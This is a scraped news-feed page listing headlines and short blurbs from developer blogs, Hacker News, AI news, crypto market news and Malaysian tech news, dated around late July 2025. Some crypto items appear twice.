    I spend most of my day in Slack. Team updates, meeting notes, quick decisions, and follow-ups. It all lives there. Threads move fast, and channels fill up even faster. When I want to use that context with an AI, I end up copying pieces into a prompt, refining them, and explaining what the thread was about. I have done that more times than I can count. It always feels clunky. Slack MCP changes that. It connects directly to your workspace and lets tools work with real conversations in real time using the actual content from your channels and threads. Once connected, you can use the Slack data you already have and respond with the context that matters. In this post, I will show you how to set up Slack MCP and use it to make Claude more helpful with your day-to-day conversations. Think of MCP …  ( 7 min )
    Elegant Middleware Architecture Implementation(4257)
    GitHub Homepage During my junior year studies, middleware architecture has always been a crucial component of web frameworks. Traditional middleware implementations often suffer from performance overhead and complexity issues, especially when dealing with multiple middleware layers. Recently, I deeply studied a Rust-based web framework whose middleware system design gave me a completely new understanding of elegant and efficient middleware implementation. In my previous projects, I used various traditional middleware solutions. While they provide necessary functionality, they often come with significant performance costs and complexity. // Traditional Express.js middleware implementation const express = require('express'); const app = express(); // Logging middleware app.use((req, res, ne…  ( 9 min )
    Title: Making the Big Move to the U.K.: Should I Invest My $30K Savings or Pay Down My Mortgage?
    Title: Making the Big Move to the U.K.: Should I Invest My $30K Savings or Pay Down My Mortgage? Introduction: Congratulations, you've finally paid off your student loans! After years of hard work and dedication, you're now free from the burden of student debt. But as you move to the U.K., you're faced with a new financial decision - should you invest your $30K savings or pay down your mortgage? In this blog post, we'll explore the pros and cons of each option and help you make an informed decision. Paying Down Your Mortgage: Paying down your mortgage is a smart financial decision, as it can help you save money on interest payments in the long run. By reducing the amount of your mortgage, you'll be able to pay off your loan faster and save money on interest payments. Additionally, paying…  ( 4 min )
    I Built an Tool to AI Agent Testing
    Excited to share my latest open-source project: the AI Agent Tester! As AI models become more integrated into our applications, how do we ensure their responses are consistent and reliable? Manually testing prompts is slow and doesn't scale. That's why I created this tool. The AI Agent Tester automates the validation process. It reads prompts from a simple CSV file, sends them to an AI (like OpenAI's GPT), and checks the responses for expected keywords. Here’s what makes it effective: Intelligent Validation: It uses "stemming" with NLTK to recognize word variations (e.g., 'fly', 'flying', 'flew'), making validation more robust. Detailed Reports: It generates a JSON report with the status (Success/Fail) for each prompt, along with the AI's full response. Easy to Use: Built with Python and requires minimal setup. It even has automatic proxy support for corporate environments. This project is for any developer or QA engineer working with Large Language Models who wants to add a layer of automated testing to their workflow. It's open-source, and I would love to get your feedback or contributions! Check out the project on GitHub: https://github.com/lfrichter/ai-agent-test  ( 3 min )
    High-Performance Routing System Design and Implementation(9420)
    GitHub Homepage During my junior year studies, routing systems have always been the core component of web frameworks. Traditional routing implementations often face performance bottlenecks when handling large numbers of routes, especially in complex path matching scenarios. Recently, I deeply studied a Rust-based web framework whose routing system design gave me a completely new understanding of high-performance routing implementation. In my previous projects, I used various traditional routing solutions. While functional, they often have performance issues when dealing with complex routing scenarios. // Traditional Express.js routing implementation const express = require('express'); const app = express(); // Simple route definitions app.get('/', (req, res) => { res.send('Home page'); …  ( 9 min )
    AI in Music: Innovations Sparking Change
    How AI is Reshaping Music As We Know It Did you know that an AI-generated song entered the Billboard charts? Yup, not a typo. A line of code is out there, competing with the likes of Drake and Dua Lipa. Wild, right? I remember when I first heard a track created by AI. I thought, “Wait, so a robot did that?” It had mood, chord progressions, even a hook I hummed all day. And as someone deeply obsessed with melody and meaning, that was both thrilling and a little unsettling. I mean, what does this mean for us musicians and music lovers? Let’s be real: AI music production is no longer just a buzzword—it’s a full-on industry disruptor. But here’s the good news: it’s not about replacing creativity. It’s about supercharging it. Whether you’re laying down tracks in your bedroom studio or just cu…  ( 12 min )
    Supporting multiple Javascript environments
    I've been working on a small utility that I've recently published to npm, and my goal with it was to target both a Node.js and a browser environment. In order to accomplish this, I picked up a tool that I've been loathe to touch since the last time I used it, roughly a decade ago — Babel. While I wouldn't actually say there's something wrong with Babel, it does (necessarily) involve lots of complexity. It can be an absolute nightmare to configure, depending on your build process(es). For this relatively simple project, within the space of a week and a half, I wrote, then threw away and rewrote my babel build configuration several times until I was satisfied with the end result. When used correctly, a build process that involves transpilation can strike the sweet spot where you're able to u…  ( 4 min )
    Daily JavaScript Challenge #JS-234: Serialize List to Comma-separated String
    Daily JavaScript Challenge: Serialize List to Comma-separated String Hey fellow developers! 👋 Welcome to today's JavaScript coding challenge. Let's keep those programming skills sharp! Difficulty: Easy Topic: Array and String Manipulation Write a function that takes an array of strings and numbers, and returns a single string where all the elements are joined by a comma. The resulting string should not have spaces between the elements and commas, and elements should be converted to strings if necessary. https://www.dpcdev.com/ Fork this challenge Write your solution Test it against the provided test cases Share your approach in the comments below! Check out the documentation about this topic here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join How did you approach this problem? Did you find any interesting edge cases? What was your biggest learning from this challenge? Let's learn together! Drop your thoughts and questions in the comments below. 👇 This is part of our Daily JavaScript Challenge series. Follow me for daily programming challenges and let's grow together! 🚀 javascript #programming #coding #dailycodingchallenge #webdev  ( 19 min )
    Holistic Webdev: Office Space Challenge
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space The first thing is a comfortable, clean and easy-to-understand design, focused on the most common actions that can be used in the office. It is the idea of home, having everything at hand. https://profound-meerkat-9ca0b4.netlify.app/ https://github.com/edwardsan00/holistic-webdev Using agents to give them an idea, generate a prompt, and use that prompt as input to generate quality code. MIT  ( 3 min )
  • Open

    Do variable names matter for AI code completion? (2025)
    Comments  ( 1 min )
    BugBash Ep1 – FoundationDB: from idea to Apple acquisition [video]
    Comments
    Truchet Tiles
    Comments  ( 5 min )
    SRAM Has No Chill: Exploiting Power Domain Separation to Steal On-Chip Secrets
    Comments  ( 29 min )
    Do not download the app, use the website
    Comments  ( 13 min )
    Tour de France confronts a new threat: Are cyclists using tiny motors?
    Comments
    It's time for modern CSS to kill the SPA
    Comments  ( 15 min )
    A Union Pacific-Norfolk Southern combination would redraw the railroad map
    Comments  ( 136 min )
    Experimental surgery performed by AI-driven surgical robot
    Comments  ( 9 min )
    Google in 1999: Search Engines Escape the Portal Matrix
    Comments  ( 6 min )
    Stackless Traversal (2018)
    Comments  ( 10 min )
    Britain's spies-for-hire are running wild
    Comments  ( 22 min )
    Claude Code Introduces Specialized Sub-Agents
    Comments  ( 301 min )
    Dwm Commented
    Comments  ( 3 min )
    Now I Lay Me (1927)
    Comments  ( 18 min )
    The "computer janitor" of the Manhattan project
    Comments
    Rotring 600 Ballpoint Pen
    Comments  ( 3 min )
    Vanilla JavaScript support for Tailwind Plus
    Comments  ( 21 min )
    Monotonic and Wall Clock Time in the Go Time Package
    Comments  ( 7 min )
    Tabs vs. Spaces: The War Is Over
    Comments  ( 2 min )
    Animated Cursors
    Comments  ( 1 min )
    Never write your own Date Parsing Library
    Comments  ( 22 min )
    WhoFi: Deep Person Re-Identification via Wi-Fi Channel Signal Encoding
    Comments  ( 2 min )
    Implementing a Functional Language with Graph Reduction
    Comments  ( 15 min )
    The Mythical Machine-Month Paradox – How much could AI change programming?
    Comments  ( 10 min )
    Guns and Violence
    Comments
    The sad state of font rendering on Linux
    Comments  ( 12 min )
    How to configure X11 in a simple way
    Comments  ( 30 min )
    Internet Archive Is Now a Federal Depository Library
    Comments  ( 212 min )
    Tea App Users' Faces and IDs Reportedly Posted to 4chan in Security Breach
    Comments  ( 45 min )
    Why MIT Switched from Scheme to Python (2009)
    Comments  ( 27 min )
    CO2 Battery
    Comments  ( 12 min )
    100X More Efficient Than ARM Processors – Electron E1
    Comments
    Good Docs Describe, Bad Docs Prescribe
    Comments
    Steam, Itch.io Are Pulling 'Porn' Games. Critics Say It's a Slippery Slope
    Comments  ( 110 min )
    Show HN: A macOS clock that stays visible when coding or binging in fullscreen
    Comments  ( 6 min )
    Women dating safety app 'Tea' breached, users' IDs posted to 4chan
    Comments  ( 4 min )
    Quantum Scientists Have Built a New Math of Cryptography
    Comments  ( 11 min )
    nullable but not null
    Comments  ( 2 min )
    Getting the KIM-1 to talk to my Mac
    Comments  ( 13 min )
    Programming Vehicles in Games
    Comments  ( 25 min )
    Show HN: The Montana MiniComputer
    Comments  ( 1 min )
    Google's shortened goo.gl links will stop working next month
    Comments  ( 21 min )
    Air Canada returned lost bag, it now had knife,toiletries, ticket scanner inside
    Comments  ( 13 min )
    Meta to stop running political ads on Facebook and Instagram in the EU
    Comments  ( 7 min )
    Dwl: Dwm for Wayland
    Comments  ( 7 min )
    It's DE9, Not DB9
    Comments
    Who has the fastest F1 website (2021)
    Comments  ( 8 min )
    Félix Nadar: the first celebrity photographer
    Comments  ( 28 min )
    How to draw lambda diagrams (2020)
    Comments  ( 16 min )
    Up to date prices for LLM APIs all in one place
    Comments  ( 1 min )
    The Cells That Breathe Two Ways
    Comments  ( 10 min )
    Exploiting zero days in abandoned hardware
    Comments  ( 6 min )
    The future is not self-hosted
    Comments  ( 9 min )
    Show HN: I built a biological network visualization tool
    Comments
    Lisp project of the day
    Comments
    You can run Doom and other graphical apps in Android's Linux Terminal
    Comments  ( 9 min )
    What even is 'adult' content? [NSFW]
    Comments  ( 1 min )
    Show HN: 433 - How to Make a Font That Says Nothing
    Comments  ( 6 min )
    My website is one binary (2022)
    Comments  ( 7 min )
    Bits 0x02: switching to orion as a browser
    Comments  ( 1 min )
    Qwen3-235B-A22B-Thinking-2507
    Comments  ( 5 min )
    Built a rickroll machine that rickrolls you with microservices
    Comments  ( 2 min )
    Games Look Bad: HDR and Tone Mapping
    Comments  ( 35 min )
    Terence Tao: Quantitative AI progress needs accurate and transparent evaluation
    Comments
    Google spoofed via DKIM replay attack: A technical breakdown
    Comments  ( 20 min )
    Against the Censorship of Adult Content by Payment Processors
    Comments  ( 10 min )
    Asciinema: Record and share your terminal sessions
    Comments  ( 1 min )
    How Anthropic teams use Claude Code
    Comments  ( 45 min )
    Celebrating 20 Years of MDN
    Comments  ( 4 min )
    Ask HN: What is so good about MCP servers?
    Comments  ( 3 min )
    Alto turns your Apple Notes into a website
    Comments  ( 3 min )
    How big can I print my image?
    Comments  ( 2 min )
  • Open

    New AI architecture delivers 100x faster reasoning than LLMs with just 1,000 training examples
    Hierarchical Reasoning Models (HRM) tackle complex reasoning tasks while being smaller, faster, and more data-efficient than large AI models.  ( 9 min )
    CoSyn: The open-source tool that’s making GPT-4V-level vision AI accessible to everyone
    Researchers at the University of Pennsylvania and the Allen Institute for Artificial Intelligence have developed a groundbreaking tool that allows open-source AI systems to match or surpass the visual understanding capabilities of proprietary models like GPT-4V and Gemini 1.5 Flash, potentially reshaping the competitive landscape between open and closed AI development. The tool, called CoSyn […]  ( 12 min )
    It’s Qwen’s summer: new open source Qwen3-235B-A22B-Thinking-2507 tops OpenAI, Gemini reasoning models on key benchmarks
    The new Qwen3-Thinking-2507, as we'll call it for short, now leads or closely trails top-performing models across several major benchmarks.  ( 8 min )
  • Open

    El Salvador’s Bitcoin reserve fails to help the average citizen — NGO exec
    Changes to El Salvador's Bitcoin laws under the IMF agreement put the benefits of BTC even further out of reach for the average resident.
    ETH bulls target $9K: Does the data support the lofty price target?
    Ether is showing renewed strength as tight supply, rising demand, and bullish technicals align, pushing ETH toward a possible $9,000 target.
    Satoshi-era Bitcoin investor cashes out 80,000 BTC for $9B via Galaxy Digital
    An early Bitcoin investor has sold 80,000 BTC through Galaxy Digital, marking one of the largest crypto transactions ever, in a trading session marked by higher volatility.
    Bitcoin derivatives data questions the strength of BTC’s $115K support
    Bitcoin traders turn cautious as BTC trades near a critical support level, but outright panic is absent in derivatives markets.
    Real-time crypto laundering exposes CEX vulnerabilities — Report
    New data shows stolen crypto is laundered within minutes, often before hacks are even disclosed.
    Crypto Biz: Hive’s Nasdaq moment, Citadel’s tokenization warning and Trump’s Bitcoin bull
    Hive Digital Technologies, the first publicly traded Bitcoin miner, marks a major milestone at Nasdaq as it accelerates its HPC expansion.
    ETH price still on track for $4K even as Bitcoin, altcoins sell-off
    Data shows the market still favors ETH even after Bitcoin’s sharp sell-off to $115,000.
    Robert Kiyosaki warns of the risk posed by BTC, gold and silver ETFs
    The investor warned against fraudulent paper claims made on hard assets, but ETF analysts told Cointelegraph that the fear is unfounded.
    Dragonfly responds to DOJ scrutiny over Tornado Cash investment, vows to ‘vigorously defend’ itself
    Dragonfly Capital’s early investment in Tornado Cash could expose the firm to potential legal action from the DOJ.
    Price predictions 7/25: BTC, ETH, XRP, BNB, SOL, DOGE, ADA, HYPE, XLM, SUI
    Bitcoin is at risk of losing the $115,000 support, raising the chance that the recently started altcoin season could abruptly end.
    Roman Storm’s team expected to close case next week, developer may still testify
    Reporting from the New York courtroom suggested that the Tornado Cash developer could wrap up his defense in a few days, but whether he would take the stand was still unclear.
    Ether Machine taps demand with $1.5B institutional ETH vehicle: Finance Redefined
    The passage of the GENIUS Act is bringing renewed investor interest to Ether and Ethereum-native yield-generating opportunities.
    XRP’s bull run might have ended at $3.65: Here’s what must happen to save it
    XRP price fell by 10% as whales sold and wider market liquidations spread to the altcoin.
    Tokenized money market funds emerge as Wall Street’s answer to stablecoins
    Goldman Sachs and BNY Mellon’s tokenization push aims to keep money market funds competitive as the US accelerates stablecoin adoption, according to a JPMorgan strategist.
    The centralization crisis threatens data privacy
    Reliance on centralized cloud infrastructure and the IRS’s proposed “mega API” expose vulnerabilities in data privacy and accountability that decentralized technologies can address.
    Smart contract devs think AI code will make crypto safer despite vibe coding fears
    Despite concerns from earlier research, smart contract developers and auditors told Cointelegraph that AI-assisted coding is improving crypto security.
    Sharplink hits back at BitMine’s $2B Ether buy with BlackRock hire
    SharpLink has hired a 20-year BlackRock veteran just one day after its biggest Ether-buying rival, BitMine, disclosed a massive ETH purchase.
    Firedancer will speed up Solana, but it won’t reach full potential
    Solana’s Firedancer validator client promises huge speed boosts but faces network limits as developer Douglas Colkitt tests its full potential on Fogo.
    Senator Lummis says US is ‘waking up’ on crypto after historic legislative week
    Following the passage of key digital asset bills, Senator Lummis says “help is on the way” for crypto innovation in the US and urges developers not to lose faith.
    Eric Trump ‘agrees' Ether should be over $8K as Global M2 money soars
    Ether’s bullish outlook strengthens as Bitcoin dominance falls below 60%, its lowest since February.
    Quantum computers could bring lost Bitcoin back to life: Here’s how
    Quantum computing could enable the reverse engineering of private keys from publicly exposed ones, putting the security of Bitcoin holders at risk.
    Vietnam deploys national blockchain for identity and records
    Vietnam will use the NDAChain network to power a decentralized identity solution that allows digital contract signing and counterparty verification.
    35 companies now hold at least 1,000 Bitcoin as corporate adoption booms
    Analysts expect a “pivotal stretch” in crypto markets, as institutional appetite and open interest are at peak levels.
    Nigeria opens doors to stablecoin firms under regulatory oversight
    Nigeria’s SEC Director-General Emomotimi Agama said the country welcomes stablecoin firms, marking a shift toward supportive crypto policy.
    XRP issuer Ripple sees its RLUSD stablecoin grow among retail users
    Although some Ripple executives initially suggested that RLUSD might be limited to institutional use, the stablecoin is gaining traction in retail.
    Asia’s OSL Group raises $300M for stablecoin and global expansion
    OSL said its latest milestone reflects “strong recognition” of its digital asset business model.
    How Pump.fun raised $500M in 12 minutes, and what it says about retail FOMO
    A record-breaking public sale, strategic acquisitions and ecosystem expansion mark Pump.fun’s rise, highlighting user-driven token distribution.
    Arizona woman sentenced for helping North Korea coders get US crypto jobs
    An Arizona woman was sentenced to eight and a half years for aiding North Korean hackers in infiltrating over 300 US crypto and tech firms, generating $17 million of illicit gains.
    Bitcoin grabs $115K liquidity as whale bets on $200K BTC price by year-end
    Bitcoin’s drop below $115,000 saw significant liquidations of late longs, but BTC’s bullish scenario remained intact, according to analysts and onchain metrics.
    Bitcoin grabs $115K liquidity as whale bets on $200K BTC price by year-end
    Bitcoin’s drop below $115,000 saw significant liquidations of late longs, but BTC’s bullish scenario remained intact, according to analysts and onchain metrics.
    Satoshi-era $9.7B Bitcoin OG: Galaxy moves another $1.1B to exchanges
    According to blockchain analysts, the $9.7 billion sale may be absorbed by crypto markets without a significant market impact.
    Satoshi-era $9.6B Bitcoin OG: Galaxy moves another $1.1B to exchanges
    According to blockchain analysts, the $9.6 billion sale may be absorbed by crypto markets without a significant market impact.
    Bitcoin 'strength' index crashes as Galaxy Digital sales liquidate $500M
    Bitcoin traders continue to grapple with mass selling of "OG" BTC, but RSI values are already hinting at a recovery after a trip to single digits.
    Bitcoin 'strength' index crashes as Galaxy Digital sales liquidate $500M
    Bitcoin traders continue to grapple with mass selling of "OG" BTC, but RSI values are already hinting at a recovery after a trip to single digits.
    NFT market cap surged to $6.6B in July: DappRadar
    NFT market cap hits $6.6 billion in July, surging 94% as CryptoPunks lead the rebound with multimillion-dollar sales and rising floor prices.
    NFT market cap surged to $6.6B in July: DappRadar
    An ape-themed CryptoPunk with a cowboy hat was exchanged for over $5 million in company stock.
    Ether ETFs outpace Bitcoin for 6 straight days in rare flip
    Spot Ether ETFs recorded nearly $2.4 billion in the past six trading days. BlackRock’s ETHA was the biggest beneficiary of the inflow.
    Ether ETFs outpace Bitcoin for 6 straight days in rare flip
    Spot Ether ETFs recorded nearly $2.4 billion in the past six trading days. BlackRock’s ETHA was the biggest beneficiary of the inflow.
    Hulk Hogan, Ozzy memecoins soar as tributes roll in over icons’ deaths
    Terry Bollea, better known by his wrestling ring name Hulk Hogan, was pronounced dead in a hospital on Thursday at the age of 71, days after Ozzy Osbourne passed away at 76.
    Hulk Hogan, Ozzy memecoins soar as tributes roll in over icons’ deaths
    Terry Bollea, better known by his wrestling ring name Hulk Hogan, was pronounced dead in a hospital on Thursday at the age of 71, days after Ozzy Osbourne passed away at 76.
    Logan Paul can’t blame CryptoZoo co-founders for collapse, judge says
    A Texas magistrate judge says Logan Paul’s bid to blame the co-founders for the failure of his CryptoZoo NFT project should be rejected.
    Logan Paul can’t blame CryptoZoo co-founders for collapse, judge says
    A Texas magistrate judge says Logan Paul’s bid to blame the co-founders for the failure of his CryptoZoo NFT project should be rejected.
    How to use ChatGPT Agent for crypto trading in 2025
    ChatGPT Agents can assist with crypto trading in 2025 by automating research and analysis, while keeping users in control through built-in safety features.
    Lightning Network could nab 5% of stablecoin flows by 2028: Voltage CEO
    Graham Krizek, founder and CEO of Voltage, predicts the Lightning Network will capture billions in global stablecoin volume within the next few years.
    Lightning Network could nab 5% of stablecoin flows by 2028: Voltage CEO
    Graham Krizek, founder and CEO of Voltage, predicts the Lightning Network will capture billions in global stablecoin volume within the next few years.
    Bitcoin tumbles below $116K in bloodbath for crypto longs
    The sudden crypto market downturn saw 213,729 traders get liquidated for a total of nearly $600 million over the past 24 hours.
    Bitcoin tumbles below $116K in bloodbath for crypto longs
    The sudden crypto market downturn saw 213,729 traders get liquidated for a total of nearly $600 million over the past 24 hours.
    Ether will ‘knock on $4,000’ and soon outperform Bitcoin: Novogratz
    Galaxy Digital CEO Michael Novogratz says institutional interest may be the secret sauce that sees Ether outperform Bitcoin in the next three to six months.
    Ether will ‘knock on $4,000’ and soon outperform Bitcoin: Novogratz
    Galaxy Digital CEO Michael Novogratz says institutional interest may be the secret sauce that sees Ether outperform Bitcoin in the next three to six months.
    BitMine gobbles over $2B in ETH in 16 days amid treasury arms race
    Chairman of BitMine’s board of directors, Tom Lee, said the company wants to acquire and stake at least 5% of the total Ether supply, which would be over 6 million Ether.
    BitMine gobbles over $2B in ETH in 16 days amid treasury arms race
    Chairman of BitMine’s board of directors, Tom Lee, said the company wants to acquire and stake at least 5% of the total Ether supply, which would be over 6 million Ether.
    Auction house Christie’s debuts crypto-only real estate team
    Christie’s, a crypto-forward auction house, has created a team dedicated to facilitating real estate deals that will solely use crypto.
    Auction house Christie’s debuts crypto-only real estate team
    Christie’s, a crypto-forward auction house, has created a team dedicated to facilitating real estate deals that will solely use crypto.
    Ether vulnerable as ‘meaningful unwinding’ on horizon — Analyst
    The surging borrowing rates in the Ethereum network may send “ripple effects across the Ethereum ecosystem,” says a crypto researcher.
    Ether vulnerable as ‘meaningful unwinding’ on horizon — Analyst
    The surging borrowing rates in the Ethereum network may send “ripple effects across the Ethereum ecosystem,” says a crypto researcher.
  • Open

    DOJ Considering Criminal Charges Against Dragonfly Capital Employees for Years-Old Tornado Cash Investments
    In open court on Friday morning, prosecutors told the judge that they were weighing the possibility of criminally charging a general partner at Dragonfly Capital for his involvement with Tornado Cash, leading to him refusing to testify in Roman Storm's defense.
    Bitcoin Rebounds After Galaxy Completes Sale of $9B BTC From Satoshi-Era Whale
    Galaxy said the long-dormant wallet sold 80,000 BTC through the asset manager as part of the investor's estate planning.
    XRP, DOGE, SOL Lead Crypto Selloff, But Altcoin Season Still in Play if This Happens
    Bitcoin's dominance lost a key level, and confirmation could ignite a broader altcoin season, a Coinbase analyst noted.
    Revolut Makes Crypto Staking Available in Hungary After Restricting Services
    The company had to restrict the majority of its crypto services for customers in Hungary earlier in July due to new legislation in the country being enforced.
    Polkadot's DOT Faces Bearish Pressure Despite Recovery Attempts
    The token has significant support in the $3.87-$3.93 range, with resistance at the $4.11 level.
    Weekly Recap: Ethereum’s Comeback Summer
    JPMorgan to offer crypto loans but faces data protest from crypto industry.
    BONK Drops 9% From Peak as Exchange Transfers Overwhelm Burn News
    BONK fell sharply after reaching a new high, as large exchange transfers offset bullish burn signals
    Ether-Focused SharpLink Appoints Former BlackRock Executive as Co-CEO
    Joseph Chalom spearheaded BlackRock's foray into blockchain and digital assets, including the introduction of a spot ETH ETF.
    Luxury Brokerage Christie's Allows Buyers to Purchase Real Estate With Crypto: NYT
    The initiative follows several high-profile deals, including a $65 million Beverly Hills transaction where crypto was used exclusively
    Ethereum ETFs Pull In $8.7B in First Year After Almost $5B Rush in Past Two Weeks
    BlackRock’s spot Ethereum ETF has reached $10 billion in assets, as the broader ETH fund group saw 14 straight days of inflows.
    CoinDesk 20 Performance Update: Solana (SOL) Drops 4.2%, Leading Index Lower
    Ripple (XRP) was also among the underperformers, falling 3.7% from Thursday.
    NEAR Rallies 6.9% as Bulls Reclaim Control After Overnight Selloff
    NEAR surges from $2.61 overnight lows to $2.79, posting 6.9% gains in 24-hour session ending July 25 12:00.
    Crypto Whale Spends $4.3M on CryptoPunks as NFT Market Cap Climbs 66% in 30 Days
    The overall capitalization of non-fungible tokens has jumped 66% to $6 billion in the past 30 days with CryptoPunks' market share growing past 30%.
    Michael Saylor Continues to Build Out His Own Yield Curve
    Michael Saylor’s latest preferred stock issuance surpasses expectations, offering 9.5%–10.0% yield with built-in price stability mechanisms.
    Public Shell Firms Ramping Up Altcoin Buys Draws Skepticism: FT
    Extending the BTC treasury plans to smaller altcoins has been described as "hugely speculative" and a "flash in the pan"
    Bitcoin Demand Outstrips Supply Ahead of August Lull: Crypto Daybook Americas
    Your day-ahead look for July 25, 2025
    Maple Finance's SYRUP Bucks Bearish Crypto Slump With 23% Upside Move
    Maple Finance’s SYRUP token defied the broader crypto market slump, soaring 23% following its listing on Upbit.
    APT Surges 5% From Lows Despite Market Volatility and $960M in Altcoin Liquidations
    Token demonstrates resilience with dramatic intraday breakout on elevated volume amid broader crypto market turbulence.
    Bitcoin to Hit $135K by Year-End in Base-Case Forecast, $199K in Bullish Scenario: Citi
    In the bank's most optimistic scenario, bitcoin could reach $199,000 by the end of the year, while a more bearish setup, pulls the forecast down to $64,000.
    Crypto Exchange OSL Group Raises $300M Ahead of Hong Kong's Stablecoin Regulation Plan
    OSL also plans to use the capital to support acquisition plans and bolster its balance sheet
    XRP Drops 14% After $175M Moved to Exchange by Ripple Co-Founder's Wallet
    The transactions occurred shortly after XRP touched $3.60, its highest level since 2021, before pulling back to around nearly $3.
    XRP Volatility Spikes With $105M in Longs Liquidated Amid ETF Jitters
    Regulatory overhang, leveraged unwind, and profit-taking collide even as corporate adoption cases grow.
    Bitcoin Slides to $115K as Dow Jones Rally Stalls at December-January High
    The broader cryptocurrency market, including ether and solana, also experienced losses of 2% to 3%.
    Ark Invest Dumps $12M Coinbase Shares After Loading Up on Ether Treasury Firm Bitmine
    It also sold 11,262 of Robinhood (HOOD) shares, worth around $1.1 million based on Robinhood's last close.
    Volmex's Bitcoin and Ether Volatility Futures Top $10M Volume Since Debut as Traders Look Beyond Price
    Trading volatility futures involves betting on the expected amount of price fluctuation, rather than the direction of the price.
    Roman Storm Trial: Is Coding A Crime? The Tornado Cash Court Battle Intensifies
    Over the last several trial days, the government laid out its case that Roman Storm could have changed the Tornado Cash protocol to make it less attractive to cyber criminals, but chose not to.
    Bitcoin Whale Wagers $23.7M on BTC Rally to $200K by Year-End
    Bitcoin's price has stabilized between $116,000 and $120,000, while options market activity remains high, with open interest nearing record levels.
  • Open

    Solana H1 2025 Ecosystem Report: DeFi, RWA, and Institutional Growth
    Learn more about Solana as we breakdown the network’s performance, DeFi growth, stablecoins, RWAs, dev activity, and what's next.  ( 10 min )
  • Open

    The Maingear Retro95 Is A Homage To The 90s
    Most Sleeper PCs, as the name implies, are high-end desktop rigs that hide high-performing components inside of an old chassis, typically those from the early 90s. Maingear, a custom PC builder company based in the US, decided to ride the wave and created its own take on sleeper PC with the Retro95. Let’s be clear: […] The post The Maingear Retro95 Is A Homage To The 90s appeared first on Lowyat.NET.  ( 34 min )
    Samsung Galaxy Tab S10 FE+ Lightning Review: Stupidly Long Battery Life
    The Samsung Galaxy Tab S10 FE+ is the follow-up to Tab S9 FE+ that we reviewed more than a year ago, and features some updates in its hardware, naturally. But while it features a bigger and higher resolution display, an updated chipset, and stupidly long battery life, it’s still a bit of a hard sell. […] The post Samsung Galaxy Tab S10 FE+ Lightning Review: Stupidly Long Battery Life appeared first on Lowyat.NET.  ( 39 min )
    Facelifted MG4 EV Spotted In China
    The facelifted MG4 EV has been spotted in showrooms across China ahead of its launch. The new MG4 comes with a redesigned exterior, updated interior, and new battery technology compared to its predecessor, which is currently available in Malaysia. In terms of exterior, it now features teardrop-shaped headlights compared to the previous angular design, along […] The post Facelifted MG4 EV Spotted In China appeared first on Lowyat.NET.  ( 34 min )
    Police Announce Road Diversions In Central KL Tomorrow Due to Rally
    Several roads in central Kuala Lumpur  are expected to face diversions tomorrow on 26 July 2025 in response to the “Turun Anwar” rally, which is set to take place across multiple locations in the capital. Acting KL police chief Deputy Commissioner Datuk Mohamed Usuf Jan Mohamad said the diversions will be enforced from time to […] The post Police Announce Road Diversions In Central KL Tomorrow Due to Rally appeared first on Lowyat.NET.  ( 34 min )
    BYD Launches The Sealion 06 EV And PHEV In China
    As we reported, BYD launched the Sealion 06 EV and DM-i in China yesterday on 24 July 2025. There are a total of five variants of the car; three of which are EVs, while the other two are plug-in hybrids (PHEVs). In terms of design, the Sealion 06 comes with parallell split headlights which – […] The post BYD Launches The Sealion 06 EV And PHEV In China appeared first on Lowyat.NET.  ( 35 min )
    DJI Announces 31 July Product Launch; Likely For Osmo 360
    Drone and action cam brand DJI has announced that it is launching something from the latter category later this month. In fact, it’s at the very end of the month, with its 31 July date. And while the company has not mentioned what it will specifically be, a quick glance gives a good enough idea […] The post DJI Announces 31 July Product Launch; Likely For Osmo 360 appeared first on Lowyat.NET.  ( 33 min )
    Tecno “Updates” Pova 7 4G Pricing; Now Starts From RM599
    Tecno today has announced via social media that its recently unveiled Pova 7 4G smartphone now starts from RM599. This is much lower than the initial RM1,199 price point which the company listed on its official Shopee store earlier this week. Following the announcement, the Shopee listing has since been updated to reflect the new […] The post Tecno “Updates” Pova 7 4G Pricing; Now Starts From RM599 appeared first on Lowyat.NET.  ( 34 min )
    Google Pixel 10 Series Designs Leaked Via Play Store
    It looks like Google can’t keep a secret when it comes to its Pixel 10 lineup. Ahead of the upcoming launch, we have been met with quite a number of leaks and rumours regarding the smartphones. Now, the first official image featuring the entire series seems to have been revealed. Apparently, Android Authority discovered a […] The post Google Pixel 10 Series Designs Leaked Via Play Store appeared first on Lowyat.NET.  ( 33 min )
    US$1 Billion Worth Of NVIDIA AI Chips Sold In China Inspite Of US Bans
    Before the approval from Trump to Jensen Huang, CEO of NVIDIA, to sell its H20 chips, and just some months after the US government increased restrictions and bans on semiconductor exports to the Asian powerhouse, around US$1 billion (~RM4.22 billion) worth of the GPU maker’s AI chips were being smuggled into the country. This was […] The post US$1 Billion Worth Of NVIDIA AI Chips Sold In China Inspite Of US Bans appeared first on Lowyat.NET.  ( 34 min )
    KPDN: BNPL Service Providers To Self-Regulate
    The buy now, pay later (BNPL) sector is growing rapidly, with there being 16 providers locally. To these service providers, the Ministry fo Domestic Trade and Cost of Living (KPDN) has urged that they “self-regulate, protect consumers and foster a positive culture”. Bernama quotes KPDN deputy minister Fuziah Salleh as saying the above. She also […] The post KPDN: BNPL Service Providers To Self-Regulate appeared first on Lowyat.NET.  ( 33 min )
    JPJ Introduces New Safety Guidelines For Wiring In Buses
    The Road Transport Department (JPJ) director-general Datuk Aedy Fadly Ramli announced that there will be a new set of safety guidelines for buses starting from January next year. This statement was given yesterday, and the safety guidelines will focus on internal wiring works, where an extra certification is needed to be acquired known as the […] The post JPJ Introduces New Safety Guidelines For Wiring In Buses appeared first on Lowyat.NET.  ( 34 min )
    Google Pixel Watch 4 Might Get Side-Mounted Charging
    The Google Pixel Watch 4 is expected to make its debut alongside the company’s Pixel 10 lineup. As with the smartphones, the wearable has been the subject of leaks and rumours. Back in April, renders posted by OnLeaks revealed something peculiar about the design: the back of the watch did not feature charging contacts. Now, […] The post Google Pixel Watch 4 Might Get Side-Mounted Charging appeared first on Lowyat.NET.  ( 34 min )
    Elon Musk Says He’s Bringing Back Vine In AI Form
    Remember Vine, the original platform for short videos? The service was shut down by long-time owner Twitter back in 2016, long before current leadership and name change. That being said, current owner Elon Musk has said that Vine will be coming back, “but in AI form”. The announcement was made on X, via his own […] The post Elon Musk Says He’s Bringing Back Vine In AI Form appeared first on Lowyat.NET.  ( 33 min )
    Public Betas For Apple’s iOS 26, iPadOS 26, macOS 26 And watchOS 26 Now Available
